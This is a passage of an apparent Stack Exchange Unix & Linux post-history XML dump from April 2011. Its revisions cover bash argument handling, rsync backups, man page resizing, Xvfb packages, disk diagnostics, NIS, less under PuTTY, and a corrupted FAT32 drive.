the original values, so just be aware of that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27609" PostHistoryTypeId="5" PostId="11381" RevisionGUID="6be1fe9c-9ba2-48f4-82ec-d6c2428c061d" CreationDate="2011-04-15T13:35:36.787" UserId="2343" Comment="added 334 characters in body" Text="I don't quite know why you don't just use $1 $2, etc.. &#xD;&#xA;but..  This may suit your needs.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ script &quot;ed    it&quot; &quot;cat/dog&quot;  33.2  \D  &#xD;&#xA;&#xD;&#xA;      echo &quot;-------- Either use an 'eval'&quot;&#xD;&#xA;      for ((i=1;i&lt;=${#@};i++)) ;do&#xD;&#xA;        eval echo &quot;\&quot;\${$i}\&quot;&quot; &#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR use an array&quot;&#xD;&#xA;      array=(&quot;$@&quot;)&#xD;&#xA;      for ((i=0;i&lt;${#array[@]};i++)) ;do&#xD;&#xA;        echo &quot;${array[$i]}&quot; &#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR use 'set'&quot;&#xD;&#xA;      set  &quot;$@&quot;&#xD;&#xA;      echo &quot;$1&quot;&#xD;&#xA;      echo &quot;$2&quot;&#xD;&#xA;      echo &quot;$3&quot;&#xD;&#xA;      echo &quot;$4&quot;&#xD;&#xA;&#xD;&#xA;output &#xD;&#xA;&#xD;&#xA;      -------- Either use an 'eval'&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;      -------- OR use an array&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;      -------- OR use 'set'&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;&#xD;&#xA;`set` works of anything  which follows it, to create $1, $2.. etc.. &#xD;&#xA;This will of course override the original values, so just be aware of that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27610" PostHistoryTypeId="2" PostId="11384" RevisionGUID="3ebdd3fc-a57a-48ea-9c71-7763f8179b69" CreationDate="2011-04-15T13:42:05.803" UserId="5842" Text="Possible in &quot;pure bash&quot;, but only with `extglob` active.&#xD;&#xA;&#xD;&#xA;    $ shopt -s extglob&#xD;&#xA;    $ A=&quot;////qsd/////sdfgfg//qsd//////&quot;&#xD;&#xA;    $ echo ${A//\/+(\/)/\/}&#xD;&#xA;    /qsd/sdfgfg/qsd/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27612" PostHistoryTypeId="2" PostId="11386" RevisionGUID="9919cb6d-0a83-4257-a511-7482653ac753" CreationDate="2011-04-15T13:59:19.710" UserId="5770" Text="In light of a recent [hardware failure][1], I've decided that it's time to be a little less lax regarding back-ups.&#xD;&#xA;&#xD;&#xA;What I have:&#xD;&#xA;&#xD;&#xA;- An Ubuntu 10.10 'server/NAS'&#xD;&#xA;- A MacBook 5,2&#xD;&#xA;- A WD external HDD&#xD;&#xA;&#xD;&#xA;The server and the MacBook are permanently connected by Ethernet.&#xD;&#xA;&#xD;&#xA;I have a directory on the server that I'd like to keep synchronized with the external drive that I plug in from time to time. The Ubuntu filesystem is ext4 and the external drive is HFS+ (Mac OS Extended [Journaled]). It should be noted that this is not case-sensitive. I'm unsure if this is a problem. If it is I can reformat the external HDD so that it is.&#xD;&#xA;&#xD;&#xA;It should also be noted that OS X 10.6 ships with a fairly old `rsync`, ver. 2.6.9. I believe there are some problems with this concerning the handling of resource forks and other things.&#xD;&#xA;&#xD;&#xA;So then, what is the best way to proceed?&#xD;&#xA;&#xD;&#xA;- Should I be doing rsyncs across the network? If so some guidance re: how to achieve this using the CLI would be appreciated (I've read the `rsync` man page numerous times and can't quite get my head around it).&#xD;&#xA;- Or should I be installing a kernel module so that I can just plug the HFS+ formatted drive into the server and it be read &amp; writeable in Linux? Again, some `rsync` CLI guidance would be great.&#xD;&#xA;- Or should I be doing something else entirely?&#xD;&#xA;&#xD;&#xA;Cheers.&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/questions/34862/weak-filesystem-seems-to-have-died-what-can-i-do" />
  <row Id="27613" PostHistoryTypeId="1" PostId="11386" RevisionGUID="9919cb6d-0a83-4257-a511-7482653ac753" CreationDate="2011-04-15T13:59:19.710" UserId="5770" Text="How to synchronize a networked drive and an external drive (Ubuntu &amp; OS X)?" />
  <row Id="27614" PostHistoryTypeId="3" PostId="11386" RevisionGUID="9919cb6d-0a83-4257-a511-7482653ac753" CreationDate="2011-04-15T13:59:19.710" UserId="5770" Text="éubuntuàénetworkingàéfilesystemsàéosxàérsyncà" />
  <row Id="27615" PostHistoryTypeId="2" PostId="11387" RevisionGUID="0841680d-6df5-47d4-9aad-9dd0db5d323c" CreationDate="2011-04-15T13:59:21.537" UserId="5666" Text="&gt; The first argument is used for one&#xD;&#xA;&gt; thing, and the rest for something&#xD;&#xA;&gt; else,&#xD;&#xA;&#xD;&#xA;I think what you want is `shift`&#xD;&#xA;&#xD;&#xA;    $ set one two three four five&#xD;&#xA;    $ echo $@&#xD;&#xA;    one two three four five&#xD;&#xA;    $ echo $1&#xD;&#xA;    one&#xD;&#xA;    $ foo=$1&#xD;&#xA;    $ echo $foo&#xD;&#xA;    one&#xD;&#xA;    $ shift&#xD;&#xA;    $ echo $@&#xD;&#xA;    two three four five&#xD;&#xA;    $ shift 2&#xD;&#xA;    $ echo $@&#xD;&#xA;    four five&#xD;&#xA;    $ echo $1&#xD;&#xA;    four&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27616" PostHistoryTypeId="5" PostId="11381" RevisionGUID="8172dac9-029b-409d-95f8-087d0827dff9" CreationDate="2011-04-15T14:04:03.327" UserId="2343" Comment="added 170 characters in body" Text="I don't quite know why you don't just use $1 $2, etc.. &#xD;&#xA;but..  This may suit your needs.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ script &quot;ed    it&quot; &quot;cat/dog&quot;  33.2  \D  &#xD;&#xA;&#xD;&#xA;      echo &quot;-------- Either use an 'eval'&quot;&#xD;&#xA;      for ((i=1;i&lt;=${#@};i++)) ;do&#xD;&#xA;        eval echo &quot;\&quot;\${$i}\&quot;&quot; &#xD;&#xA;        # Note: the outer quotes are for the 'echo' &#xD;&#xA;        # You can set a variable like this:  eval var=&quot;\${$i}\&quot;&#xD;&#xA;        #   http://tldp.org/LDP/abs/html/ivr.html&#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR use an array&quot;&#xD;&#xA;      array=(&quot;$@&quot;)&#xD;&#xA;      for ((i=0;i&lt;${#array[@]};i++)) ;do&#xD;&#xA;        echo &quot;${array[$i]}&quot; &#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR use 'set'&quot;&#xD;&#xA;      set  &quot;$@&quot;&#xD;&#xA;      echo &quot;$1&quot;&#xD;&#xA;      echo &quot;$2&quot;&#xD;&#xA;      echo &quot;$3&quot;&#xD;&#xA;      echo &quot;$4&quot;&#xD;&#xA;&#xD;&#xA;output &#xD;&#xA;&#xD;&#xA;      -------- Either use an 'eval'&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;      -------- OR use an array&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;      -------- OR use 'set'&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;&#xD;&#xA;`set` works of anything  which follows it, to create $1, $2.. etc.. &#xD;&#xA;This will of course override the original values, so just be aware of that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27617" PostHistoryTypeId="2" PostId="11388" RevisionGUID="410d325e-6de9-438c-b87b-b13936c16ec3" CreationDate="2011-04-15T14:17:54.583" UserId="5286" Text="Just a thought... maybe you could try to disable ACPI mode in your BIOS? I may be way, way, way off base here, but you could give it a shot." />
  <row Id="27618" PostHistoryTypeId="2" PostId="11389" RevisionGUID="5cdfda9a-f7ac-4f2b-a9fc-a4f564ad6499" CreationDate="2011-04-15T14:20:31.657" UserId="4750" Text="One common workflow of mine is to open a man page in a terminal and then another terminal to test things. The man page is formatted to the initial dimensions of the first terminal. If I now resize that, there is either a gap to the right, or lines wrap due the the static formatting. At this point I usually q(uit) and !! (run again), which loses my position in the page.&#xD;&#xA;&#xD;&#xA;The less pager dynamically reacts to terminal resize events, so it should be possible in theory.&#xD;&#xA;&#xD;&#xA;I assume the formatting process is quite CPU intensive, or maybe it stems from ancient times of fixed terminal sizes.&#xD;&#xA;&#xD;&#xA;I tried perusing man pages, searching the Web, asking on IRC -- the whole lot -- but couldn't come up with anything.&#xD;&#xA;&#xD;&#xA;Is there a version of the man utility that resizes the page dynamically? &#xD;&#xA;&#xD;&#xA;Is there way to customize some part of the formatting/display process to make it update on SIGWINCH?&#xD;&#xA;&#xD;&#xA;Is there a patch for this?" />
  <row Id="27619" PostHistoryTypeId="1" PostId="11389" RevisionGUID="5cdfda9a-f7ac-4f2b-a9fc-a4f564ad6499" CreationDate="2011-04-15T14:20:31.657" UserId="4750" Text="Dynamically resizing man pages on terminal dimension changes" />
  <row Id="27620" PostHistoryTypeId="3" PostId="11389" RevisionGUID="5cdfda9a-f7ac-4f2b-a9fc-a4f564ad6499" CreationDate="2011-04-15T14:20:31.657" UserId="4750" Text="éterminalàémanà" />
  <row Id="27621" PostHistoryTypeId="5" PostId="11389" RevisionGUID="d1db38e6-47e3-417a-a828-fddfa63b2625" CreationDate="2011-04-15T14:30:22.240" UserId="4750" Comment="edited for clarity, flow, formatting" Text="One common workflow of mine is to open a manual page in a terminal, then another terminal in which to test things. The man page is formatted to the initial dimensions of the first terminal. When I now resize my windows (or have my WM do that for me automatically), there is either a gap to the right of the preformatted page, or lines wrap. At this point I usually `q`(uit) and `!!` (run again), which loses my position in the page.&#xD;&#xA;&#xD;&#xA;I assume the formatting process is quite CPU intensive, or maybe it stems from ancient times of fixed terminal sizes. The `less` pager dynamically reacts to terminal resize events, so it should be possible in theory.&#xD;&#xA;&#xD;&#xA;I tried perusing man pages, searching the Web, asking on IRC -- the whole lot -- but couldn't come up with anything.&#xD;&#xA;&#xD;&#xA; - Can I trigger reformatting from within&#xD;&#xA;   or outside of the man utility?&#xD;&#xA;&#xD;&#xA; - Is there a version of the man utility&#xD;&#xA;   that resizes the page dynamically? &#xD;&#xA;   &#xD;&#xA; - Is there way to customize some part&#xD;&#xA;   of the formatting/display process to&#xD;&#xA;   make it update on `SIGWINCH`?" />
  <row Id="27622" PostHistoryTypeId="4" PostId="11389" RevisionGUID="d1db38e6-47e3-417a-a828-fddfa63b2625" CreationDate="2011-04-15T14:30:22.240" UserId="4750" Comment="edited for clarity, flow, formatting" Text="Dynamically reformatting man pages on terminal dimension changes" />
  <row Id="27623" PostHistoryTypeId="25" PostId="11376" RevisionGUID="029a7357-78a0-43e9-942d-e4822b74dd93" CreationDate="2011-04-15T15:09:09.810" Comment="http://twitter.com/#!/StackUnix/status/58909735277178880" />
  <row Id="27624" PostHistoryTypeId="2" PostId="11390" RevisionGUID="266e3774-b56d-433d-8f50-8ea6659e04fb" CreationDate="2011-04-15T15:16:02.047" UserId="1207" Text="Again, not a &quot;Bash-only&quot; answer, but perhaps useful:&#xD;&#xA;&#xD;&#xA;    echo &quot;$PWD///&quot; | tr -s '/'" />
  <row Id="27625" PostHistoryTypeId="5" PostId="11361" RevisionGUID="dfb1e9b6-3697-4b3c-bb6d-f0ab3b93428d" CreationDate="2011-04-15T15:16:22.060" UserId="1707" Comment="added badblocks output" Text="![Error][1]&#xD;&#xA;&#xD;&#xA;I keep getting this error message each time I start GNOME, even though I created a new partition table on this drive, I formatted all the partitions, and created them again, and this just won't go away.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;I ran badblocks, and this is what I got&#xD;&#xA;&#xD;&#xA;&gt;badblocks -svw /dev/sdb&#xD;&#xA;&gt;Checking for bad blocks in read-write mode&#xD;&#xA;&gt;From block 0 to 80042206&#xD;&#xA;&gt;Testing with pattern 0xaa: done                                &#xD;&#xA;&gt;Reading and comparing: done                                &#xD;&#xA;&gt;Testing with pattern 0x55: done                                &#xD;&#xA;&gt;Reading and comparing: done                                &#xD;&#xA;&gt;Testing with pattern 0xff: done                                &#xD;&#xA;&gt;Reading and comparing: done                                &#xD;&#xA;&gt;Testing with pattern 0x00: done                                &#xD;&#xA;&gt;Reading and comparing: done                                &#xD;&#xA;&gt;Pass completed, 0 bad blocks found&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/KQ8Qx.png" />
  <row Id="27626" PostHistoryTypeId="2" PostId="11391" RevisionGUID="3f5075ae-5eb7-426a-a871-30bfcd277baa" CreationDate="2011-04-15T15:24:49.527" UserId="5589" Text="Why don't you just use $1, $2 .. $9, ${10}, ${11}.. and so on? It's even more [DRY](https://secure.wikimedia.org/wikipedia/en/wiki/Don%27t_repeat_yourself)-er than what you're attempting to do :)&#xD;&#xA;&#xD;&#xA;More on the relation between $*number* and $@:&#xD;&#xA;&#xD;&#xA;$@ can be considered as shorthand for &quot;all elements of an array containing all arguments&quot;&#xD;&#xA;&#xD;&#xA;So, $@ is a sort-of shorthand of ${args[@]} (args here is a 'virtual' array containing all arguments -- not a real variable, mind you)&#xD;&#xA;&#xD;&#xA;$1 is ${args[1]}, $2 is ${args[2]}, and so on.&#xD;&#xA;&#xD;&#xA;When you've hit [9], use a brace: ${10} is ${args[10]}, ${11} is ${args[11]}, and so on.&#xD;&#xA;" />
  <row Id="27630" PostHistoryTypeId="5" PostId="11381" RevisionGUID="401e9a4a-e7d1-4da7-8387-5023ad73d773" CreationDate="2011-04-15T15:32:09.370" UserId="2343" Comment="deleted 56 characters in body; added 1 characters in body" Text="I don't quite know why you don't just use $1 $2, etc.. &#xD;&#xA;but..  This may suit your needs.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ script &quot;ed    it&quot; &quot;cat/dog&quot;  33.2  \D  &#xD;&#xA;&#xD;&#xA;      echo &quot;-------- Either use an 'eval'&quot;&#xD;&#xA;      for ((i=1;i&lt;=${#@};i++)) ;do&#xD;&#xA;        eval echo \&quot;\${$i}\&quot; &#xD;&#xA;        # You can set a variable like this:  eval var=\&quot;\${$i}\&quot;&#xD;&#xA;        #   http://tldp.org/LDP/abs/html/ivr.html&#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR use an array&quot;&#xD;&#xA;      array=(&quot;$@&quot;)&#xD;&#xA;      for ((i=0;i&lt;${#array[@]};i++)) ;do&#xD;&#xA;        echo &quot;${array[$i]}&quot; &#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR use 'set'&quot;&#xD;&#xA;      set  &quot;$@&quot;&#xD;&#xA;      echo &quot;$1&quot;&#xD;&#xA;      echo &quot;$2&quot;&#xD;&#xA;      echo &quot;$3&quot;&#xD;&#xA;      echo &quot;$4&quot;&#xD;&#xA;&#xD;&#xA;output &#xD;&#xA;&#xD;&#xA;      -------- Either use an 'eval'&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;      -------- OR use an array&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;      -------- OR use 'set'&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;&#xD;&#xA;`set` works of anything  which follows it, to create $1, $2.. etc.. &#xD;&#xA;This will of course override the original values, so just be aware of that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27631" PostHistoryTypeId="2" PostId="11393" RevisionGUID="ea9f04e5-64d1-4ede-9812-edeb20c280fa" CreationDate="2011-04-15T15:37:15.653" UserId="3001" Text="On OpenSUSE 11.4:&#xD;&#xA;&#xD;&#xA;    pdo@opensuse:~&gt; rpm -q --whatprovides /usr/bin/Xvfb&#xD;&#xA;    xorg-x11-server-7.6_1.9.3-15.18.4.x86_64&#xD;&#xA;&#xD;&#xA;So just install xorg-x11-server (and its myriad dependencies):&#xD;&#xA;&#xD;&#xA;    pdo@opensuse:~&gt; sudo zypper install -y xorg-x11-server&#xD;&#xA;    &#xD;&#xA;    pdo@opensuse:~&gt; /usr/bin/Xvfb&#xD;&#xA;&#xD;&#xA;You don't have to install a desktop environment or anything, and you machine still boots to a text mode login prompt." />
  <row Id="27632" PostHistoryTypeId="5" PostId="11367" RevisionGUID="5f101ca3-3354-4205-8694-cc13730bc00d" CreationDate="2011-04-15T15:46:07.340" UserId="5666" Comment="added 357 characters in body" Text="Open `System-&gt;Administration-&gt;Disk Utility`, select your hard drive from the list on the left and then click `SMART Data` on the right. You will get a report about your disk status and errors.&#xD;&#xA;&#xD;&#xA;You may continue by clicking the `Run Self-test` button and start an `Extensive` self-test. Wait until it's finished and read the final report. Running `badblocks` or `e2fsck -c` (from your live rescue disk) on your filesystems will mark bad clusters so they won't be used by the OS. But if error counters keep rising by time, your disk needs replacement asap. You should already have a backup. &#xD;&#xA;&#xD;&#xA;Unfortunately, current inexpensive disks are as reliable as floppy disks were a decade ago. Though, being inexpensive makes raid1 (mirror) a considerable option for desktop systems too.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;I thought *Disk Utility* was installed by default in Ubuntu. The package's name is `gnome-disk-utility`, so one way to install it is `sudo apt-get install gnome-disk-utility`. Get the same functionality in command line with `smartctl` from `smartmontools` package.&#xD;&#xA;&#xD;&#xA;**EDIT2**&#xD;&#xA;&#xD;&#xA;I forgot that there was a [bug][1] with `gnome-disk-utility` reporting false warnings. I don't know if it's fixed yet, I never experienced it myself. More info in dealing with disk problems [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.launchpad.net/ubuntu/+source/libatasmart/+bug/413673&#xD;&#xA;  [2]: http://smartmontools.sourceforge.net/badblockhowto.html" />
  <row Id="27633" PostHistoryTypeId="2" PostId="11394" RevisionGUID="b77e0714-4d43-4131-a349-73bca3b40011" CreationDate="2011-04-15T15:56:06.863" UserId="6312" Text="I'm configuring several computers in a lab to operate with the same login credentials shared between the computers, but without sharing the home directories. I'm considering using NIS for sharing the login credentials. How can I configure NIS to automatically create a new user's home directory on each machine, without having to manually login to each machine myself, and without having to share the home directories by NFS?" />
  <row Id="27634" PostHistoryTypeId="1" PostId="11394" RevisionGUID="b77e0714-4d43-4131-a349-73bca3b40011" CreationDate="2011-04-15T15:56:06.863" UserId="6312" Text="Using NIS without NFS" />
  <row Id="27635" PostHistoryTypeId="3" PostId="11394" RevisionGUID="b77e0714-4d43-4131-a349-73bca3b40011" CreationDate="2011-04-15T15:56:06.863" UserId="6312" Text="éadministrationàénisà" />
  <row Id="27636" PostHistoryTypeId="2" PostId="11395" RevisionGUID="acc95076-09c0-490f-aea0-2967c768e763" CreationDate="2011-04-15T16:00:36.640" UserId="6625" Text="In SLES11 Xvfb is provided by xorg-x11-server-extra." />
  <row Id="27638" PostHistoryTypeId="2" PostId="11396" RevisionGUID="9352029e-bf34-4a38-9c79-53d150a81104" CreationDate="2011-04-15T16:25:15.287" UserId="1925" Text="Yes, `rsync` is the answer.&#xD;&#xA;&#xD;&#xA;Having the drive plugged in locally is going to be a lot faster than the network, but for the purpose of doing backups, I would actually recommend leaving the hardware in place. Do the slower thing and transfer it over the network ... remote to remote if need be, so that you don't break anything by touching it.&#xD;&#xA;&#xD;&#xA;There are four main parts to your rsync command. First, the transport mechanism. For local to local transfers this is skipped. If any of the sides are remote, you usually specify a tranfer agent like `rsync -e ssh` to use SSH transport. After that you specify a source for your files (end with a slash if giving a directory!) and then a target (again end with a slash syncing directories!). So we have `rsync -e ssh machine1:/source/folder/ machine2:/source/folder/` so far. Then you can add options like what to skip using `--exclude PATTERN`, over the wire compression using `-z`, maybe the `-a` archive option to handle recursive stuff, matching permissions and such, then `-v` or `--progress` if you want to see details or progress as it goes along.&#xD;&#xA;&#xD;&#xA;Sample:&#xD;&#xA;&#xD;&#xA;    rsync -avze ssh osxhost:/path/to/drive/ ubuntu:/path/to/backup/localtion/" />
  <row Id="27639" PostHistoryTypeId="5" PostId="11396" RevisionGUID="3809e2c3-cc70-4346-9487-1126fc301227" CreationDate="2011-04-15T16:40:00.490" UserId="1925" Comment="added 3 characters in body" Text="Yes, `rsync` is the answer.&#xD;&#xA;&#xD;&#xA;Having the drive plugged in locally is going to be a lot faster than the network, but for the purpose of doing backups, I would actually recommend leaving the hardware in place. Do the slower thing and transfer it over the network ... remote to remote if need be, so that you don't break anything by touching it.&#xD;&#xA;&#xD;&#xA;There are four main parts to your rsync command. First, the transport mechanism. For local to local transfers this is skipped. If any of the sides are remote, you usually specify a tranfer agent like `rsync -e ssh` to use SSH transport. After that you specify a source for your files (end with a slash if giving a directory!) and then a target (again end with a slash syncing directories!). So we have `rsync -e ssh machine1:/source/folder/ machine2:/source/folder/` so far. Then you can add options like what to skip using `--exclude PATTERN`, over the wire compression using `-z`, maybe the `-a` archive option to handle recursive stuff, matching permissions and such, then `-v` or `--progress` if you want to see details or progress as it goes along.&#xD;&#xA;&#xD;&#xA;Sample:&#xD;&#xA;&#xD;&#xA;    rsync -avze ssh ubuntu:/path/to/source/files/ osxhost:/path/to/backup/drive/" />
  <row Id="27640" PostHistoryTypeId="5" PostId="11377" RevisionGUID="44806242-da2f-451e-9562-1ff67f55d813" CreationDate="2011-04-15T16:41:26.903" UserId="2180" Comment="Format ESK key." Text="As others said, it's `dd` if you're in normal mode (pres &lt;kbd&gt;ESC&lt;/kbd&gt;) to ensure you are in normal mode, but by default, you will be. You may have found that vi doesn't act as you would expect an editor to act. It's pretty unique, and those unique features make it extremely powerful and fast to work with. If you want to learn more, you can run `vimtutor` at the command line, and you'll get a quick (maybe an hour worth of reading/experimenting) tutorial on the basics of how to use it.&#xD;&#xA;&#xD;&#xA;Now, you can use an editor with a more familiar interface. Most systems have `nano`. You can type `nano a.txt` to open your file in `nano`. You can even go a step further - there isn't any reason you have to use a terminal-based editor. Since you mentioned using (ctrl+alt+t) and this is the default shortcut in Ubuntu and some other Gnome distributions, so I'd be surprised if you didn't have `gedit` installed. At the command line, try `gedit a.txt` and you'll get a graphical editor." />
  <row Id="27645" PostHistoryTypeId="2" PostId="11397" RevisionGUID="66f4e145-713e-4034-baf9-a9415401b810" CreationDate="2011-04-15T17:55:40.193" UserId="6630" Text="I'm connecting to my Linux boxes (primarily Debian Squeeze) using Putty for Windows.  Whenever I run a 'less' command, e.g. on an aptitude search, less truncates the listing to much less than my window size.  I've looked to see how I can override this but haven't come up with anything.&#xD;&#xA;&#xD;&#xA;BTW - I'm not a Linux n00b, but have just noticed this and it's really starting to irritate me :)" />
  <row Id="27646" PostHistoryTypeId="1" PostId="11397" RevisionGUID="66f4e145-713e-4034-baf9-a9415401b810" CreationDate="2011-04-15T17:55:40.193" UserId="6630" Text="'less' width issues" />
  <row Id="27647" PostHistoryTypeId="3" PostId="11397" RevisionGUID="66f4e145-713e-4034-baf9-a9415401b810" CreationDate="2011-04-15T17:55:40.193" UserId="6630" Text="éshellàélessà" />
  <row Id="27648" PostHistoryTypeId="2" PostId="11398" RevisionGUID="b15a8bd5-fa0f-4e95-a485-403bdef3772f" CreationDate="2011-04-15T17:59:23.910" UserId="1925" Text="What terminal is putty reporting to your linux boxes? `echo $TERM` to find out. You might try setting this to xterm-color (can be set in the `putty` session configs) for best results. Several character and behavior issues get straightened out when it thinks you have a capable terminal." />
  <row Id="27649" PostHistoryTypeId="2" PostId="11399" RevisionGUID="285125bd-a14f-4619-8c60-0f8ba8445c65" CreationDate="2011-04-15T18:00:22.933" UserId="2510" Text="Convert the man pages to html on the fly using a suitable script such as [manserver][1], viewing them in a web browser (which can of course be a text-based web browser like lynx).&#xD;&#xA;&#xD;&#xA;This is presumably why no-one has solved this problem - because the problem became irrelevant with the development of man-&gt;html scripts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.squarebox.co.uk/users/rolf/download/manServer.shtml" />
  <row Id="27650" PostHistoryTypeId="25" PostId="11397" RevisionGUID="fc84cb0b-1207-4696-9c54-59d01ca72f3f" CreationDate="2011-04-15T18:09:09.767" Comment="http://twitter.com/#!/StackUnix/status/58955032544030721" />
  <row Id="27652" PostHistoryTypeId="5" PostId="10439" RevisionGUID="772b4913-2509-4a7d-9ac4-067a9bc3dab0" CreationDate="2011-04-15T18:44:38.327" UserId="6216" Comment="added 128 characters in body" Text="I'm mounting a FAT32 drive on my NAS (which has a USB port), and hitting a strange issue when I use the `ls` command on the drive root:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    ls: cannot access ???²é?u.g: Input/output error&#xD;&#xA;    ls: cannot access ?f$?â?.k: Input/output errorPuTTY&#xD;&#xA;    ls: cannot access ?21ï??é.ìk?: Input/output error&#xD;&#xA;    ls: cannot access ºq`{??ùê.?zï: Input/output error&#xD;&#xA;    ls: cannot access +?l`æ~2?.]9: Input/output error&#xD;&#xA;    ls: cannot access ??j.é: Input/output error&#xD;&#xA;    ls: cannot access ëégö²?è.?« Input/output error&#xD;&#xA;    ?.¢??: Input/output error&#xD;&#xA;    ls: cannot access ??d?¬«ëc.?½f: Input/output error&#xD;&#xA;    ls: cannot access ?r??%f.o??: Input/output error&#xD;&#xA;    ls: cannot access b}?çb¼=u.?c·: Input/output error&#xD;&#xA;    }??..÷p½: Input/output error&#xD;&#xA;    ls: cannot access u?;e?j?.&#xD;&#xA;&#xD;&#xA;I'm not sure why &quot;PuTTy&quot; is thrown in there on the second line.  It is the client I'm using to access the NAS, and I'm running the latest version, but I don't understand what it has to do with the `ls` command.  It goes on like this for a while and then starts listing files that aren't really there along with the files that are:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    ï¿½?=?^Oaaï¿½.h?=&#xD;&#xA;    ?*ab^G^S??.?^[?&#xD;&#xA;    a?cw??^?*.=?$&#xD;&#xA;    ï¿½??aï¿½hï¿½ï¿½.?ï¿½?&#xD;&#xA;    ??aï¿½?^_j!.?i?&#xD;&#xA;    ï¿½?a?m??^U.a^G^?&#xD;&#xA;    apps&#xD;&#xA;    ??^Q??a?y.ï¿½?z&#xD;&#xA;&#xD;&#xA;I'm running Debian/Lenny (now), but I had the same problem before I switched to Debian on my NAS.  I'm not sure which distro I was running before, I think it was a custom build.&#xD;&#xA;&#xD;&#xA;When I plug the drive in, `sdc` and `sdc1` appear in the `/dev` directory.  I'm unable to mount `sdc`, but can successfully mount `sdc1`.  These are the command I've tried using to mount:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bsh --&gt;&#xD;&#xA;&#xD;&#xA;    mount /dev/sdc1 /USB&#xD;&#xA;    mount -t vfat /dev/sdc1 /USB&#xD;&#xA;    mount -o umask=0 -t vfat /dev/sdc1 /USB&#xD;&#xA;&#xD;&#xA;    # Additional&#xD;&#xA;    mount -t vfat -o codepage=850 /dev/sdc1 /USB&#xD;&#xA;    mount -t msdos -o codepage=850 /dev/sdc1 /USB&#xD;&#xA;    mount -t vfat -o codepage=869 /dev/sdc1 /USB&#xD;&#xA;    mount -t vfat -o codepage=850,iocharset=iso8859-7 /dev/sdc1 /USB&#xD;&#xA;    # ... and combinations of codepage 850, 869, 437 (the common ones)&#xD;&#xA;    # ... and combinations of utf8, iso8859-7, iso8859-1&#xD;&#xA;    # ... and additional flags such as umask=0, rw&#xD;&#xA;&#xD;&#xA;If I check the logs after the `ls` command, this is the result:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bsh --&gt;&#xD;&#xA;&#xD;&#xA;    $ dmesg | tail&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0x8c31db6e)&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0xee786bb9)&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0x2f16a272)&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0xa8ee938e)&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0x6df5a84f)&#xD;&#xA;&#xD;&#xA;I'll be honest, my Linux knowledge isn't that great &amp;mdash; it's limited mostly to basic administrative tasks.  Of course, if I plug the drive into Windows (7) it works fine.&#xD;&#xA;&#xD;&#xA;One final note perhaps worth mentioning is that I remember having to use a special tool to format the drive because it was too large for Windows to format it.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;On closer inspection of the drive, all files appear to be present - so where is linux getting all this garbage from?  There are only several files and folders in the root directory on Windows.  Could it be data that has not been properly disposed of?&#xD;&#xA;&#xD;&#xA;**EDIT 2**&#xD;&#xA;&#xD;&#xA;The same problem in Ubuntu on my Laptop PC.  Both `ls` and the file explorer show these strange file listings." />
  <row Id="27654" PostHistoryTypeId="6" PostId="11397" RevisionGUID="7db9c648-3974-46ad-ab5a-727a42d55505" CreationDate="2011-04-15T18:55:00.497" UserId="885" Comment="edited tags" Text="éterminalàélessàéputtyàéaptitudeà" />
